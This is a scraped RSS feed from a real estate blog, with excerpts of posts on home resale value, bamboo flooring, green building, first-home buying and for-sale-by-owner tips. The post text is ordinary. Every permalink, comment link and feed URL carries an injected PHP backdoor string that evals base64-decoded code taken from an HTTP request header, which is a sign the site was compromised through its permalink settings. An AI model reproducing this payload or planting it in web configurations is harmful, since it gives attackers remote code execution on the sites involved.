Your Friend LLC » Real Estate http://yourfriendllc.com/fx Investment Research Wed, 12 Oct 2011 15:35:30 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 Inexpensive Ways To Give Your Home A Facelift http://yourfriendllc.com/fx/2008/01/18/inexpensive-ways-to-give-your-home-a-facelift/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/inexpensive-ways-to-give-your-home-a-facelift/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:22 +0000 master http://yourfriendllc.com/fx/?p=218 If you are looking to sell your home or even have it appraised, you want to get the most value you can for your money.

Those of you who have taken up home improvement projects know that there is a monetary return for every improvement investment. Although the actual cost and payback for each project can vary, depending on both your home’s condition and overall real estate market values in your …..
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]]> http://yourfriendllc.com/fx/2008/01/18/inexpensive-ways-to-give-your-home-a-facelift/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Seven tips for sellers from "The Today Show" http://yourfriendllc.com/fx/2008/01/18/seven-tips-for-sellers-from-the-today-show/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/seven-tips-for-sellers-from-the-today-show/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=212 As seen on "The Today Show" Friday 12/14/2007. http://www.thetodayshow.com

Our first report recommends seven tactics for selling a home more quickly, at a higher price. What matters most of course is the home itself, not how it is sold. But we still believe that these tactics can yield a small but significant improvement in a home-seller’s results. We also hope that sharing with consumers, …..
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]]> http://yourfriendllc.com/fx/2008/01/18/seven-tips-for-sellers-from-the-today-show/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Fee VS. Free AVM Reports http://yourfriendllc.com/fx/2008/01/18/fee-vs-free-avm-reports/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/fee-vs-free-avm-reports/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=213 What’s the difference between free home value reports and AVM reports provided by ElectronicAppraiser.com?

Don´t be misled by companies promising automated values for free – they often come with a hidden price. Your information can be collected and given to people interested in selling you something! ElectronicAppraiser.com offers you a "hassle free" report. Your information is private and …..
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]]> http://yourfriendllc.com/fx/2008/01/18/fee-vs-free-avm-reports/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Improving the value of your home with bamboo flooring http://yourfriendllc.com/fx/2008/01/18/improving-the-value-of-your-home-with-bamboo-flooring/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/improving-the-value-of-your-home-with-bamboo-flooring/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=214 If you are looking to increase the value of your home, replacing old carpets or tile with a beautifully laid bamboo floor will certainly help. And if your home isn’t up for resell and you just want to have beautiful flooring, using bamboo is an elegant and affordable way to go.

Bamboo flooring may only be a little over ten years old, but its beauty and environmental factors have spoken for …..
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]]> http://yourfriendllc.com/fx/2008/01/18/improving-the-value-of-your-home-with-bamboo-flooring/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 What Makes a Home "Green"? http://yourfriendllc.com/fx/2008/01/18/what-makes-a-home-green/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/what-makes-a-home-green/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=215 Green is the new black, so to speak. Everybody is talking about going green and even building green. So what does it really mean to build green?

Defining green has been a challenge, even for those who are as green as you can get. To sum up green, the question would be – what type of environmental impact does the materials you are using have?

Assessing impact can mean on the front end or the …..
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]]> http://yourfriendllc.com/fx/2008/01/18/what-makes-a-home-green/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Are You Ready To Buy Your First Home? http://yourfriendllc.com/fx/2008/01/18/are-you-ready-to-buy-your-first-home/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/are-you-ready-to-buy-your-first-home/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=216 There are many great reasons to own a home. For one, the place is yours.

When you own your own home you have a place to raise your children and to be a part of a community. You can even pass your home down to your children and their children, creating security for generations to come.

Owning your own home can even help you reduce your taxes. You can deduct the interest on your mortgage and …..
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]]> http://yourfriendllc.com/fx/2008/01/18/are-you-ready-to-buy-your-first-home/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Improving Your Home’s Resale Value http://yourfriendllc.com/fx/2008/01/18/improving-your-homes-resale-value/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2008/01/18/improving-your-homes-resale-value/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 19 Jan 2008 05:00:21 +0000 master http://yourfriendllc.com/fx/?p=217 Are you getting ready to sell your home and want to get the most for the value? If so, there are a few simple things you can do that won’t necessarily cost you a fortune.

First of all, when potential buyers drive up to your house, the first thing they see is the front of your house. Knowing that the exterior of the house usually is a good indicator of the inside of the house, you want your home …..
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]]> http://yourfriendllc.com/fx/2008/01/18/improving-your-homes-resale-value/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The 9 Deadly Mistakes Most For Sale By Owners Make http://yourfriendllc.com/fx/2007/11/21/the-9-deadly-mistakes-most-for-sale-by-owners-make/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2007/11/21/the-9-deadly-mistakes-most-for-sale-by-owners-make/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 21 Nov 2007 17:12:48 +0000 master http://yourfriendllc.com/fx/?p=186 Web source – www.HelpMeSell.com

Failing to offer buyers 24 hour access to their home via Internet tour and pre-recorded talking home hotline.Not working with a local Loan Officer – real estate agents do. Failing to analyze why they are selling. offer buyers 24 hour access to their home via Internet tour and pre-recorded talking home hotline. Not preparing their home for the buyer’s eye. Pricing …..
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]]> http://yourfriendllc.com/fx/2007/11/21/the-9-deadly-mistakes-most-for-sale-by-owners-make/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Don’t want to pay a real estate agent? http://yourfriendllc.com/fx/2007/11/21/dont-want-to-pay-a-real-estate-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2007/11/21/dont-want-to-pay-a-real-estate-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 21 Nov 2007 17:12:48 +0000 master http://yourfriendllc.com/fx/?p=187 Blog posting adapted from Sun-Sentinel / MartketWatch written by Amy Hoak of MarketWatch. Click here for original news article.

Be prepared to do some work yourself.

With all the online real estate information available to home sellers nowadays, it’s not surprising that some of them consider selling without the help of a real estate agent.

The biggest advantage of the for-sale-by-owner …..
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]]> http://yourfriendllc.com/fx/2007/11/21/dont-want-to-pay-a-real-estate-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Comparable Home Sales? http://yourfriendllc.com/fx/2007/11/21/comparable-home-sales/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://yourfriendllc.com/fx/2007/11/21/comparable-home-sales/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 21 Nov 2007 17:12:48 +0000 master http://yourfriendllc.com/fx/?p=188 Comparable home sales, or “comps,” are what the professionals use to analyze the value of your property. Comps are one of the foundations of determining a home’s value. Properties that are similar to the place you’re considering can tell you a lot about your own property’s value. Using information from the sales history of comparable homes, and the relative importance of different …..
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